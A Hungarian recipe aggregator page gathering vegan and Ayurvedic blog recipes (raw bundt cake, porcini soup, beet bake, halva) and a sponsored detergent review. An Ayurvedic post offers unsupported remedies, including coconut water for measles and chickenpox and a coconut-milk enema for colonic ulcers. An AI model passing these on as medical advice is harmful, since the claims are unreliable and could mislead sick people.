Vegyük elő a turmixgépet és a fentieket mindet, ebben a sorrendben tegyük bele. Indítsuk el, és hamarosan látni fogjuk hogy milyen fantasztikus krémet kapunk végeredményne k. Lehet, néha egy átkeveréssel segíteni kell a turmix gép munkáját. Olyan krém lesz, mint a csokitorták csokikrémje. Ha lágyabb krémet szeretnénk, pár csepp vízzel vagy növényi tejjel krémesebb lesz. A kész krémet kb. 1/2 órára érdemes hűtőbe tenni, megdermedés után jobban használható.
Sokfűszeres babos-rizses ragu
2018. november 24. Éltető ételek
Ez a ragu a gazdag ízek tökéletes kombinációja. Megdöbbentő, hogy néhány olyan egyszerű összetevőből, mint a bab, a rizs és a zöldségek, milyen hihetetlen ételt tudunk alkotni. Önmagában is tökéletes, de én készítettem hozzá alakor lisztből tortillát is. Hozzávalók (5-6 adag) - 1/2 kávéskanál chilipor - 1 késhegynyi cayenne-bors - 1/2 kávéskanál őrölt római kömény - 1/2 kávéskanál őrölt édeskömény - 1 kávéskanál füstölt, édes pirospaprika - 1 evőkanál kókuszolaj - 1 jó nagy vöröshagyma - 3-4 gerezd fokhagyma - 2 kaliforniai paprika - 1 csésze kukorica - 1 csésze vörös bab áztatva, majd megfőzve - 1 csésze parbolied rizs - 1 konzerv kockázott paradicsom (vagy 3 friss paradicsom kockázva) - 1 csésze paradicsomlé - 2 marék spenót - himalja só, bors - kevés víz Elkészítése: - A rizst 2 csésze vízzel és sóval mintegy 30 perc alatt főzd puhára. - Egy serpenyőben melegítsd fel a kókuszolajat, majd add hozzá az apró kockára vágott hagymát, fokhagymát és a kaliforniai paprikát. Kb. 5 perc alatt süsd puhára. Ízesítsd sóval, borssal. - Keverd hozzá a fűszereket, a kukoricát, a paradicsomokat, a főtt babot és a főtt rizst. Szórd bele a spenótot is. - 5-10 perc alatt főzd össze az ízeket. Extra: igazi téli ételt varázsolhatunk belőle, ha tepsibe teszed, sajtot szórsz rá, és összesütöd. Kínálj hozzá házi tortilla chipset.
Kókuszos banános nyers kuglóf
Ne ijedj meg attól, hogy "nyers". Úgy is mondhatnám, hogy sütés nélkül is elkészíthető. A nyers szót mégis ki kell hangsúlyoznom a recept címében, mert ez jelzi azt is, hogy enzimekben gazdag süti, nem esik át semmiféle hőkezelésen, a vitaminok, ásványi anyagok nem vesznek el hevítés során, tehát egészséges. Cukortartalma is a rostforrásban gazdag mazsolából, datolyából és banánból származik. Nem csak azoknak ajánlom, akik vegetáriánusok vagy nyers, esetleg főként nyers táplálkozást folytatnak. Ezt a süteményt ajánlom húsevőknek is, akik szeretik a banán és kókusz együttes ízét. Még nyár végén barátainkkal hosszú hétvégét töltöttünk fókás tengerpart közelében. Arra a hétvégére készítettem ezt a sütit. Sikerét mutatta, hogy nem csak a receptjét kérték el, hanem eldöntötték, vesznek útifű maghéjat, aminek a segítségével elkészíthetik ezt a finomságot.
A recept
A desszert alapja
Hozzávalók:
- kb. 2-3 bögre olajos magvak, mogyorófélék (pl.dió, lenmag, mogyoró)
- datolya és/vagy mazsola
- víz
Elkészítés:
Az olajos magvakat és mogyoróféléket külön külön jó alaposan megdaráljuk pl. kávédarálóval. A datolyát felaprítjuk, meleg vízbe beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. Ha csak mazsolával dolgozunk, azt is beáztatjuk, hogy felpuhuljon, majd a vízet leszűrjük róla és hozzákeverjük a mag őrleményhez. Egy kevés vizet adunk még hozzá, ha szükséges ahhoz, hogy egy nagy gombócot tudjunk formálni ebből a masszából. Hűtőbe tesszük, míg a többi krém elkészül.
A második réteghez:
10 dkg kókusz
1 nagyobb vagy 2 kisebb banán
víz
útifű maghéj
A kókuszt beleszórjuk a turmixgépbe, kézmeleg vízet öntünk hozzá, annyit, hogy ellepje. Ezután tejszerű állagúra turmixoljuk, majd hozzáadjuk a banánt és szintén turmixoljuk. Először egy púpos kanálnyi útifű maghéjt turmixolunk hozzá, várunk kb. 10 percet, mialatt kiderül, hogy elég-e ennyi, vagy kell még hozzá keverni (habos, zselés anyag kell, hogy keletkezzen, ami nem csöppen le a kanálról). Amikor a hab/zselé elkészült, kikanalazzuk egy tálba.
Harmadik réteghez
10 dkg kókusz
1 nagyobb vagy 2 kisebb banán (ízlés szerint a kakaó/ karob miatt több is lehet)
kakaópor és/vagy karobpor
víz
útifű maghéj
A fentiekhez hasonlóan először kókusztejet készítünk, majd hozzáadjuk a kakaót, banánt, legvégén pedig az útifű maghéjat.
Egy kuglóf formát folpackkal alaposan kibélelünk. A kakaós/karobos masszát/zselét elsőnek tesszük bele és elsimítjuk. Ezt követően a világos banános-kókuszos masszát simítjuk el és ennek a tetejére óvatosan ráformázzuk, enyhén rányomkodjuk a mogyorós-datolyás/mazsolás réteget.
A tetejét folpackkal lezárjuk és néhány órára, akár egy éjszakára hűtőbe tesszük.
Tálalás előtt a folpackkal könnyen kiemeljük a formából, folpackot leszedve már szeletelhetjük is.
Rakott cékla répával
Diétás étel, mivel csak gyökérzöldségekből, joghurtból és fűszerekből áll. A répa és a cékla pedig segítségünkre lehetnek fogyásban és egészségmegőrzésben egyaránt. A cékla magas káliumtartalmú, kiváló vérképző növény, amely állítólag Nagy Károly kedvence volt olyannyira, hogy rendeletben tette kötelezővé a termesztését. Valamit biztos tudhatott a frank császár, ha mást nem, azt, hogy méregtelenítő és tisztító hatása van, ezért megfázás esetén különösen ajánlott fogyasztani. Kálciumban, foszforban, vasban, nátriumban, kénben való gazdagsága által, fogyasztása esetén a vérképzésben tölti be többek közt szerepét. Itt a céklaszezon, kedvezzünk testünknek egy finom rakott céklával az alábbi recept alapján.
A recept
Hozzávalók:
- 8 közepes cékla
- 8-10 szál répa
- szójajoghurt
- provanszi fűszerkeverék
- só
- kókuszzsír
- víz
Elkészítés:
A megmosott céklákat héjastól vízben félpuhára megfőzzük. Közben felszeleteljük a megmosott, szükség esetén megpucolt répát. Rajtunk áll, hogy hosszában kettévágjuk, vagy inkább felkarikázzuk őket. Akár mindkettő módszerrel is próbálkozhatunk. Kevés vízen keményre pároljuk. Kókuszzsírral kikenünk egy tűzálló tálat. Egy doboz joghurtba belekeverünk provance fűszerkeveréket, vagy csak egy kis ételízesítőt. A megfőtt céklákat hideg vizzel átzuhanyoztatjuk, majd ha picit lehűltek, megpucoljuk és felkarikázzuk őket. A kevés kókuszzsírral kikent tűzálló tálba először egy sor felkarikázott céklát teszünk, megsózzuk, majd megkenjük joghurttal és beterítjük répával, amit szintén megsózunk és megkenünk a fűszeres joghurttal. Mindezt addig ismételjük, míg minden el nem fogy. A legjobb, ha répa kerül a tetejére. Legvégül szintén megkenjük joghurttal. Ezután mehet a sütőbe, ahol pirulásig sütjük.
Rozmaringos vargányakrémleves pirított gombaszeletekkel a tetején – vegán leves recept
2018. szeptember 17. VegaNinja
Kaptam 5 darab óriási vargányagombát szüleimtől, frissen szedve a Bakonyból. Csodás, illatos, friss erdei gomba, főzni (és enni) kedvelőknek igazi csemege. Mivel nem emlékeztem, hogy ettem volna már vargányát, különböző módokon is ki akartam próbálni. Két szebb fejből rozmaringos pirított vargányát csináltam, a maradékból pedig krémlevest, zabtejszín helyett kókusztejszínnel, és meg kell mondjam, nagyon jól passzolnak az ízek! Nagyon gyors és egyszerű recept, és ha az embernek van lehetősége saját magának gyűjteni a gombát az erdőben, nem is drága. Tulajdonképpen csiperkével is működik a recept, az ízek ugyanúgy összeillenek, csak a végeredmény kevésbé “erdei” ízű lesz, és átlagos méretű csiperkéből kb. 4 db felel meg egy, a receptben szereplő vargányának.
Pirított vargánya:
1,5 – 2 nagy fej vargánya
1 kisebb ág rozmaring
2 evőkanál kókuszolaj
só
A gombafejeket vékony szeletekre vágtam, az eltört szeleteket belefőztem a levesbe. A gomba tönkjét nem szeleteltem, mert elég szivacsos volt, rágósnak tűnt, de a levesbe az íze miatt belefőztem. Egy nagy serpenyőben 1 evőkanál kókuszolajat melegítettem, amibe beleszórtam a friss rozmaringleveleket, majd egyesével a gombaszeleteket úgy, hogy ne fedjék egymást. Megsóztam őket, és hagytam, hogy kicsit megpiruljon az aljuk. Pár perc múlva megfordítottam a szeleteket, ekkorra kicsit megsárgult az aljuk, enyhén áttetszővé váltak. Mindkét oldalukat aranybarnára sütöttem. A maradék gombát a maradék kókuszolajjal és még egy kevés rozmaringlevéllel szintén aranybarnára pirítottam, és félretettem.
Vargányakrémleves:
3 – 3,5 fej vargánya gomba nagyobb kockákra vágva
fél doboz (100 ml) Cocomas kókusztejszín
1 nagyobb ág friss rozmaring
só
A serpenyőbe, amiben a gombaszeleteket pirítottam, beletettem a felkockázott vargányát és a tönkjeit a rozmaringgal együtt, megsóztam, és kicsit pirítottam, időnként megkeverve. Mikor már valamennyire összeesett, hozzáadtam a kókusztejszínt és egy pohár vizet. Megkóstoltam, hogy kell-e még bele só, ízlés szerint újra sóztam, majd áttettem egy nagyobb lábasba, hogy kellemesen elférjen, és lehessen még hígítani. Amikor megfőtt, a gomba tönkjét érdemes külön megkóstolni, hogy rágós-e, vagy puhára főtt, az enyém szerencsére puha lett, így simán benne hagytam. A rozmaring ágat eltávolítottam (a levelek maradhatnak benne!), botmixerrel krémesítettem (csak fém fejűvel lehet forrón turmixolni!), kicsit még hígítottam és sóztam.
A pirított gombaszeletekkel, és csurgatott kókusztejszínnel a tetején tálaltam. Jó étvágyat!
The post Rozmaringos vargányakrémleves pirított gombaszeletekkel a tetején – vegán leves recept appeared first on VegaNinja.
Csokis-kókuszos pite
2018. augusztus 15. Vegán receptek Tőlünk Nektek
Viki receptje:
Hozzávalók:
- 2/3 csésze zabpehely
- 2/3 csésze mandula
- 1 csésze kókuszreszelék
- 2 tk juharszirup
- 1/4 csésze kókuszolaj
- 1 csipet só
- 2 avocadó (jó érett)
- 1 aldis konzerv kókusztej
- 1/3 csésze juharszirup
- 3/ csésze kókusztej
- 3/4 csésze kakó vagy karob
[...] Bővebben!
Fűszeres sült padlizsán - indiai subji (szabdzsi)
2018. augusztus 5. Élj harmóniában
Itt a nyár, a biopiacon már van padlizsán. :) A padlizsán az ájurvédában fanyar, keserű és fűtő hatású emeli a pittát (a tüzet ) de általában egyensúlyba hozza a vatat és a kaphát. Pitta alkatúak alkalmanként ehetik, ha kihagyják az asafietodát, a mustármagot és a masalát. A padlizsán orvosi szempontból növeli az agnit (emésztés tüzét), méregteleníti a vastagbelet, de nem szabad vese- és epekő-problémásoknak fogyasztani, mert magas az oxálsav tartalma. Ma egy nagyon ízletes fűszeres sült padlizsános zöldséges főétel receptjét hoztam el nektek. Készítheted ebédre vagy vacsorára . Fogyaszthatod rizzsel, purival, chapatival (lepénykenyér receptet itt találod). Hozzávalók 2 közepes padlizsán 2 ek ghí vagy olaj 1 tk feketemustármag 1 tk római kömény 1/2 tk masala por (ez egy fűszerkeverék indiai boltokban kapható) 1/4 tk asafoetida 1/4 tk kurkuma 1/4 tk só Vegyszermentes (bio) alapanyagokat használj! A padlizsánokat mosd meg és vág kockákra. A ghít (vagy olajat) egy nagy serpenyőben hevítsd fel közepes lángon, majd tedd bele a mustármagot, a római köményt, pirítsd picit, majd add hozzá az asafoetidát és a kurkumát. Keverd meg a fűszereket, hogy piruljanak és utána keverd hozzá a masala port, sót és a padlizsánt. Keverd meg alaposan, fedd le és takarékon főzd amíg puha nem lesz, (kb 20-30 perc) . Tálalhatod kurkumás baszmati rizzsel vagy chapatival és tehetsz hozzá kókuszreszeléket és friss korianderlevelet. felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve
Teszt: Veganeeta Home, Balatonalmádi
2018. július 18. Zizi kalandjai
Másodjára mentünk Ancsáékhoz, a balatonalmádi Veganeeta Home-ba, amikor ezt az interjút készítettem egy finom kávé (kókuszos shakerato) mellett. Imádom, hogy növekszik a vidéki vegán helyek száma. Szegeden jártam már a Vegazzo-ban, a Balatonalmádiban lévő Veganeeta Home pedig az első vegán Balaton környéki étterem, amely felkerült a Balatoni Gasztrotérképre is! Az étteremben uralkodó... Source
Vegán pecsenyezsír recept – kenyérre vagy sütéshez egyaránt felhasználható
Aki szereti a magyaros, hagyományos ízvilágú zsíros kenyeret, az értékelni fogja ezt a receptet. Bár túl zsírosan étkezni egyáltalán nem egészséges, de a kókuszolaj még az egészségesebb olajfélék közé tartozik, így időnként beleférhet a fogyasztása. Hozzávalók: 1 dl kókuszolaj 1 nagy paradicsom 1 tv paprika 1 nagy fej hagyma 2 gerezd fokhagyma egy fél alma egy csipet kömény 1 kávéskanál őrölt pirospaprika 1 kávéskanál petrezselyem kevés lestyán (kihagyható) natúr ételízesítő (kihagyható) 1 teáskanál mustár só, bors ízlés szerint A kókuszolajba teszünk a felszeletelt zöldségeket, hagymákat, fűszereket, almát és sót, és alacsony hőfokon lefedve összefőzzük. Fontos, hogy kókuszolajat használjunk, mert ez szilárdul meg 25 fok alatt. Miután kihűlt, mustárral összeturmixoljuk az egészet ízlés szerint, ki mennyire darabosan szereti. Hűtőben tartva, ahogy írtam, megszilárdul. A képen látható vágódeszka a webshopban megtalálható. The post Vegán pecsenyezsír recept – kenyérre vagy sütéshez egyaránt felhasználható appeared first on VegaNinja.
Mandulás-gyümölcsös parfé
2018. június 24. Eszemiszom – Jóga Magazin
Mandulás-gyümölcsös parfé
A mandula és a tej képezik az ódzsasz (tiszta energia alapját). A rózsavíz és kókusz nagyon jó hűsítő hatású. Ajánljuk nyári melegben.
Elkészítési idő: 30 perc + 2 óra fagyasztás
Hozzávalók: 6-8 személyre
- 9 dl tej
- 3 dl tejszín
- 20 dkg nádcukor
- 3 evőkanál kukorica- vagy búzakeményítő
- 2 teáskanál rózsavíz
- 5 dkg pirított kókuszreszelék
- 7,5 dkg apróra vágott mandula vagy natúr pisztácia
- 5 dkg apróra vágott mazsola
- 4 felaprított, kandírozott cseresznye
Elkészítés:
- A tejet és a cukrot lábosban felmelegítjük, folyton kevergetve, hogy a cukor szétolvadjon.
- A keményítőt összekeverjük a tojások sárgájával és a tejszínnel, majd a tejbe keverjük. Folyamatos kevergetés mellett sűrűre főzzük.
- Hozzáadjuk a többi alkotórészt is, majd hideg vízzel kiöblített fagylaltos tálcára vagy más fagyasztótálcára öntjük. Fóliával lefedjük és a mélyhűtőbe tesszük.
- A mélyhűtőből kivéve villával összetörjük, jól megkeverjük és újra fagyasztjuk.
- Tálalás előtt 10-20 perccel kivesszük a mélyhűtőből. Rombusz alakúra vágjuk és néhány percre újra befagyasztjuk, mivel parfé.
Jó étvágyat!
Óm Brahmárpanam Brahma havir Brahmágnau Brahmaná hutam Brahmaiva Tena Gantavjam Brahma-karma-samádhiná
Brahman az áldozat, Brahman az áldozati vaj, Brahman önti az áldozatot Brahman tüzébe, bizony Brahmanhoz megy az, aki mindenkor Brahmant látja minden cselekvésben.
Bhagavad Gítá 4/24.
További szattvikus ételrecepteket ide kattintva találsz.
A Mandulás-gyümölcsös parfé bejegyzés először a Jóga-sziget jelent meg.
The post Mandulás-gyümölcsös parfé appeared first on Jóga Magazin.
Meggyes vegán piskóta
Hozzávalók:
25 dkg teljes kiőrlésű tönkölyliszt? 25 dkg finomliszt ? 1 tk szódabikarbóna ? 8 dkg kókuszvirág cukor ?5 dl növényi tej? 12 ek olaj ?25 dkg magozott meggy
[...] Bővebben!
A kókusz hatásai és ájurvédikus alkalmazása 10 TIPP
2018. június 7. Élj harmóniában
A kókuszt szinte mindenki ismeri és a legtöbb ember szereti is. Még kicsiny hazánkban is nagyon népszerűek a kókuszos sütemények, torták és egyre elterjedtebb a kókusztej használata is. Érdemes kerülni vagy csak ritkán használni a nem friss dolgokat pl. konzerv kókusztejeket. Inkább készíts otthon frissen kókuszdióból vagy szárított minőségi kókuszreszelékből. A kókusztej receptet nemsokára fel is teszem a blogra. Egyszer az egyik guru mondta, ahol van kókuszpálma ott van minden:) Van mit enni, inni, lehet belőle házat építeni, tüzet rakni és öltözködni is tudsz. Már csak el kellene egyszer jutnom egy olyan helyre, ahol van kókuszpálma:) Én egyszerűen imádom a kókuszt, Te hogy vagy ezzel? :) A blogon jó néhány kókuszos receptet is találsz, ha beírod bal oldalt a keresőmezőbe, hogy kókusz. A kókusz hatásai és ájurvédikus alkalmazásaA kókusz édes és hűsítő az ájurvéda szempontjából. A kókusz húsa kemény, nehéz és olajos, zsíros a közepe folyékony. A kókusz belsejében lévő folyadék, a kókuszvíz. A kókusztejet pedig a friss reszelt kókuszból készítik. A reszeléket összekeverek egy csésze vízzel, hagyják állni néhány percig és utána ebből préselik ki a kókusz tejet. 10 ájurvédikus alkalmazási mód: - Viszkető ekcémára kiváló, ha pirított kókuszport teszel a bőrödre, - Leégés esetén kend be magad kókuszolajjal. - Égő vizelet esetén nagyon jó ha iszol egy csésze kókuszvizet. - A kókuszvíz nagy segítség, bárányhimlő és kanyaró esetén. - Ha a hajad vékonyodik vagy nagyon hullik, masszírozd át a fejbőrödet kókuszolajjal. - Korpásodás, fejbőrviszketés vagy pigmenthiány esetén szintén alkalmazd a kókuszolajat külsőleg az érintett területen. - Körömgombásodásnál használj kókuszolajat. - Amennyiben nagyon bő a menstruációs vérzésed, a következő recept sokat segíthet. 1 csésze kókuszvizet keverj össze fél teáskanál kandiscukorporral (sharkara cukor) vagy organikus teljes értékű nádcukorral. - Vastagbél gyulladásból származó fekély esetén alkalmazz beöntést, fél liter kókusztejjel. Ez enyhíti a tüneteket. - Ha vérzik az ínyed, készíts fogport az alábbiakból: finomra őrölt kókuszhéj egy csipet étkezési kámforral . Mindig vegyszermentes (bio) kókuszt használj! felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve
Cudy-future: természetesen tiszta...ajánló és nyereményjáték
2018. június 4. Mindennapi ételeink
Régóta fontos számunkra, hogy környezetbarát mosó-és tisztítószereket használjunk otthonunkban. Emellett mindig a magyar termékeket részesítettük előnyben, nemcsak élelmiszereknél, hanem minden másban is, amiben csak lehetett. Így már első gyermekünk, Fanni születésénél megörültünk a Cudy Future nevű cég termékeinek. Talán egy bio nagykerben vettünk először általuk fejlesztett, Wash Taps névre hallgató folyékony mosószert. Azóta már postán rendeljük tőlük a termékeket (mindig gyorsan, pontosan és precíz csomagolásban érkeznek azok.) Második gyermekünk, Gergő születése után még inkább hangsúlyossá vált számunkra ez a téma, mert ő érzékeny bőrű. Sokat utazunk, és pl táborban vagy nagyszülőknél piros kiütések jelentkeztek nála, amikor nem tettem alá saját lepedőt vagy nem saját takaróval takartam. Érzékeny bőrű. Most ajándékokat kaptunk Cudy Future-től, aminek nagyon megörültünk. Termékeiket több csoportra tudnám osztani: - Wash Taps folyékony és por mosószerek, színes és fehér ruhákhoz Ezeket a termékeket évek óta használjuk, nagyon gazdaságosak és foszfátmentesek, klórmentesek, parabénmentesek, állatkísérlet mentesek, pálmaolaj mentesek, vegánok, mindegyik természetes összetevőkből készült (kukoricaolaj, kókuszolaj). Biológiailag jól lebomló felületaktív anyagokat és kizárólag élelmiszeripari színezőanyagot tartalmaznak. Az illatuk finom, így öblítő nélkül is finom illatosaklesznek a ruhák. - Soft Breeze öblítők A 7 fajta illatban vásárolható öblítők természetes növényi összetevőkből készülnek (kukoricaolaj, kókuszolaj). Tartalmaznak az ,,ECOLABEL minősítésnek megfelelő felületaktív anyagot és élelmiszeripari színezőanyagot. A textilöblítők válogatott alapanyagokból készülnek. A Soft Breeze öblítőkkel mosott ruhák különleges, bársonyosan puha tapintásúak, üdítően frissek lesznek, az illatukat rendkívül hosszú időn át megőrzik. Kapható 1 l és 5 l-es kiszerelésben. Tekintettel arra, hogy koncentrátumok,, 1 liter öblítőből 5 liter készíthető. Nagyon gazdaságosak, a piacon megtalálható azonos minőségű termékek árának a töredékéért vásárolhatók meg, ez teszi rendkívül vonzóvá. - Csepke baby termékek Ebben a termékcsaládban hipoallergén mosógélek, öblítők, cumisüveg mosó és folttisztító található. Mindegyik remekül tisztít és szintén a termékek foszfátmentes, klórmentes, parabénmentes, állatkísérlet mentes, pálmaolaj mentes, vegán, természetes összetevőkből készült (kukoricaolaj, kókuszolaj). Biológiailag jól lebomló felületaktív anyagokat és kizárólag élelmiszeripari színezőanyagot tartalmaz. Nem tartalmaz maró irritáló anyagot, nem okoz bőrkiütést, viszketést, allergiát. Alacsony hőfokon is eltávolítja a foltokat. Könnyen öblíthető, nem marad tisztítószer a ruhában. Kímélő a textíliához. Bambusz pelenkák mosásához is megfelelő. Biztonságos használat már újszülött kortól. - Cudy tisztítószerek Itt tisztítószerek, pl vízkőoldó , mosogatószer, mosogatógép öblítő található, melyek szintén foszfátmentes, klórmentes, parabénmentes, állatkísérlet mentes, pálmaolaj mentes, vegán, természetes összetevőkből készült (kukoricaolaj, kókuszolaj) termékek. Biológiailag jól lebomló felületaktív anyagokat és kizárólag élelmiszeripari színezőanyagot tartalmaznak. A vízkőoldót használtuk eddig, a legerősebb vízkövet is remekül leszedte, Fanni lányunk nagy csodálkozására. Fannival mindig együtt takarítunk és tapasztalja, hogy a vízkövet nehéz leszedni. Ezért csodálkozott most, amikor ezt a terméket kipróbáltuk. - Soft Power mosogatószerek A 6 féle illatban kapható mosogatószerek nagy kedvenceink. Nemcsak a különleges illatuk miatt, hanem szintén nagyon gazdaságosak, hiszen ötszörös hígításban kell alkalmazni, bőrvédő szőlőmagolaj komponenseket tartalmaznak, ezáltal védi k a kezünket a kiszáradástól. A szőlőmagolaj kivonatnak köszönhetően ápolja, regenerálja a bőrt. A termékek vízlágyítót tartalmaznak, így magas összkeménységű és vastartalmú vízben is hatékonyan használhatók. Kaphatók 1 és 5 literes kiszerelésben. - Wolt foltisztítók Egyik nagy kedvencem, por alapú folttisztító, amelyet akár a mosóporhoz adagolva, akár előáztatásra használhatunk. A termék adagolása egyszerű és gazdaságos, egy evőkanállal a mosóporhoz adagolva megnöveli a mosópor mosási hatékonyságát. Sok mosóport spórolhatunk meg, ha a nagyon szennyezett ruhát előáztatjuk. Fanni ruháiból remekül hozza ki a cseresznyét, meggyet, paradicsomot. Reméljük, hogy kedvet csináltunk a termékekhez. A cég nagyon vevőbarát, gyorsak, pontosak. Ezúton is köszönjük a termékeket! Akinek van facebook profilja, jöjjön a Mindennapi ételeink @magdireceptek oldalra és nyerje meg a cég felajánlását: 5000 Ft értékű szabadon választható terméket!
Cseresznyés piskóta tönköly búzaliszttel (tojásmentes)
2018. május 26. Élj harmóniában
Itt a cseresznye szezon (jótékony hatásairól és ájurvédikus hatásairól tegnap írtam egy bejegyzést, itt olvashatsz róla). Érdemes a cseresznyéből ilyenkor minél többet fogyasztani, mindenféle formában. Mint tudjátok imádok sütni főzni és lévén a férjem imádja a süteményeket. Kézenfekvő volt, amikor ma hazaértünk a bio piacról a sok friss zöldséggel, gyümölccsel, hogy a cseresznyével mindenképpen készítek valami finomságot neki:) Ez a süti tipikusan olyan nyári édesség, ami nagyon gyorsan elkészül és nagyon ízletes is. Bevetheted egy étkezés helyett (pl. reggelire) vagy akár vendégvárónak is kiváló egy könnyű vasárnapi ebéd után:) Én imádom az illatát, ahogy a vanília keveredik a sült cseresznyével. Hozzávalók 1 csomag sütőpor 2 bögre finom tönkölybúzaliszt 1 bögre teljes kiőrlésű tönkölybúzaliszt 1 bögre barna nádcukor 10 dkg vaj (vegán változatban 1/2 bögre kókuszzsír) 1 tk. szódabikarbóna vanília (vagy vaníliás cukor) 1,5 bögre víz cseresznye Vegyszermentes (bio) alapanyagokat használj:) Az előkészítéshez mosd meg a cseresznyét és magozd ki. A lisztet, sütőport, szódabikarbónát, cukrot és a vaníliát kever össze egy tálba. Tedd hozzá a vizet és az olvasztott vajat. A vajat én apróra vágom beteszem egy fémedénybe és forralt vízzel leöntöm, így pillanatok alatt kész az olvasztott vaj és már a vízzel el is van keveredve:) Figyeld a tészta állagát van amikor elég 1 bögre víz van, hogy sokkal több kell a liszt függvénye). Az így kapott masszába keverd bele a cseresznyét és az egészet öntsd bele egy kivajazott, lisztezett tepsibe. kb. 180 fokon süsd addig, amíg jók átsül (kb. 25 perc)
Vegán digestive keksz
Rendszeresen megkerestek gyors és egyszerű édesség ötletekért. Hát, azt hiszem, ez a verzió jogosan pályázik a legkényelmesebb keksz címre. :) Mert milyen őrült jó már az a gyúrós tészta, amit nem kell az ujjamról levakargatni közben! Mindent be a gépbe, aztán jól van. Imádom!
Rebarbarás muffin
2018. április 25. Mindennapi ételeink
Viszonylag ritka élelmiszer a rebarbara, kevésszer fordul elő a piacokon. Pedig én nagyon szeretem. Amíg Vácon laktunk, a közelünkben lakott egy barátunk, akinek a kertjében termett és többször kaptunk tőle. Amióta Debrecenben élünk, nem ettem rebarbarát. De most nagy mélyhűtőláda ürítésben vagyunk és találtam az alján egy kis dobozban :-D az állaga ilyenkor arra jó, hogy levesbe kerüljön, vagy süteményekbe. Így egy gyors muffin készült belőle. Hozzávalók: 1 közepes szál rebarbara 10 dkg finomliszt 10 dkg zabliszt 1 csomag sütőpor 5 dk eritrit (vagy a cukor más alternatívája) 5 dkg kókuszolaj 175 gr szójajoghurt (bármilyen ízesítésű, de natúr is jó bele) Elkészítés: A rebarbarát összevágjuk (kiolvasztjuk az összevágott rebarbarát), összekeverjük a száraz alapanyagokat, majd hozzáadjuk a nedveseket. Belekeverjük a gyümölcsöt és muffin formákba téve 180 fokon 25 perc alatt kisütjük. Porrá darált eritrittel megszórtam, illetve a natúr szójajoghurtba kevertem por-eritritet és azzal meglocsoltam.
Álomreggeli: granola joghurttal
2018. április 18. Mindennapi ételeink
Egyszerű, gyors, tápláló, nem hízlal és egészséges. Kell ennél több? Tudtátok, hogy lehet már ribizlit kapni? - mi bizony elcsábultunk, pedig a hazai, idénygyümölcsöket jobban preferáljuk, de az áfonya, málna, eper, ribizli kivétel szokott lenni. Bizony, idén már nem először eszünk epret meg áfonyát sem...de csokit nem veszünk. Így ez a csemege. A múltkor bemutatott granolák nemcsak sütikbe alkalmasak, hanem nagyon finomak magukban is, hiszen hőkezelve van a zab, így fogyaszthatók így is (sok müzli alapja nyers zabpehely, amit nem is szabadna nyersen megenni...a granola viszont pirított müzli. Én legjobban szójajoghurttal és rengeteg gyümölccsel szeretem. Így a mai reggelim is így alakult: tetszés szerinti granola (én kókuszos-mazsolásat ettem) Natúr szójajoghurt (Sojade, Yoja vagy alpro márkájúak) Kókusz, agavés szirup/méz, gyümölcsök, citromhéj - tetszés szerint Azért szeretem a natűr szójajoghurtot, mert abban lényegesen kevesebb a cukor és tetszés szerint ízesíthetem. Most a müzlihez alkalmazkodva kókusszal, kis mézzel, citromhéjjal. Teledobálgattam gyümölccsel és megettem :-) Szoptatás közben is érdemes a szójatermékeket kipróbálni, Gergő pocija a tofut bírja, ezek a joghurtok egy kicsit megdolgoztatják (eddig nem is fogyasztottam, csak most szerettem volna kipróbálni), szóval nem fogok sűrűn ilyet enni, de azért néha megpróbálkozom vele. Szóval annál nagyobb ünnepnap, ha ezt ehetek :-D
epres csokis mikrós süti
2018. április 14. Beautilicious
Végre itt a napsütés, jönnek a kedvencek! Eper, málna, támadnak, és te sem fogsz tudni nekik ellenállni. Sütijeimből sem maradhatnak ki a kedvenceim! Hozzávalók - 1tojás - 125gr joghurt - rumaroma - 20gr fehérjepor - 25gr kókuszliszt - 25gr zabpehely - sütőpor - 30gr cukormentes csoki - 75gr eper Így készítsd - Egy bögrébe keverj el mindent az eper és csoki kivételével - Csinálj egy lyukat a közepébe - Töltd meg apróra vágott eperrel és csokival - Tedd mikróba 5percre
Halva (halava) - ájurvédikus édesség
2018. április 9. Élj harmóniában
Tegnap jöttünk vissza a Tavaszi Jóga Elvonulásról. A jóga Elvonulásokon a jóga és meditációs programokon, kirándulásokon, előadásokon, pihenésen túl nagy szerepet kap a helyes táplálkozás. M indig 100% bio alapanyagokból készült, friss, ájurvédikus menüket készítünk. A jógatáborozók, így néhány napig megtapasztalhatják az egészséges étkezés hatásait:) Az elvonulások legkedveltebb desszertje a Halva. A halva vagy halava egy tradicionális búzadarából készült indiai édesség, amely számos kultúrában és országban elterjedt. Általában ünnepeken, Szent napokon készítik és az Isteneknek ajánlják. Általában búzadarából, cukorból, ghíből készül különböző fűszerekkel, magvakkal és gyümölcsökkel.Nagyon sok változata van mint a mandula, kókusz, pl. egy répa halava receptet már korábban közreadtam a receptet itt olvashatod. Ájurvédikus szempontból nagyon tápláló, melegítő, Vata kiegyenlítő étel, leginkább hűvös időjárásban, főleg télen ideális csemege. Az Ojas-t is táplálja, ami az immunrendszer és a testi-lelki harmónia alapja. A halva az édességvágyat jól kielégíti, miközben számos fontos ásványi anyag forrása, így egészséges szöveteket épít a testben. Hozzávalók 20 dkg búzadara 3 ek ghí 10 dkg teljes értékű nádcukor forró víz 1 db szegfűszeg vanília, fahéj (tetszés szerint) Vegyszermentes (bio) alapanyagokat használj! Hevítsd fel a ghít egy magas falú edénybe, majd pirítsd aranybarnára benne a búzadarát, fűszereket és a nádcukrot állandó keverés mellett. Állandó keverés mellett öntsd fel a búzadarát négyszeres mennyiségű forróvízzel és keverd folyamatosan (kb 10 percig). Forrón tálalva a legfinomabb:)
fahéjas sütőtökös piskóta tekercs
2018. április 8. Beautilicious
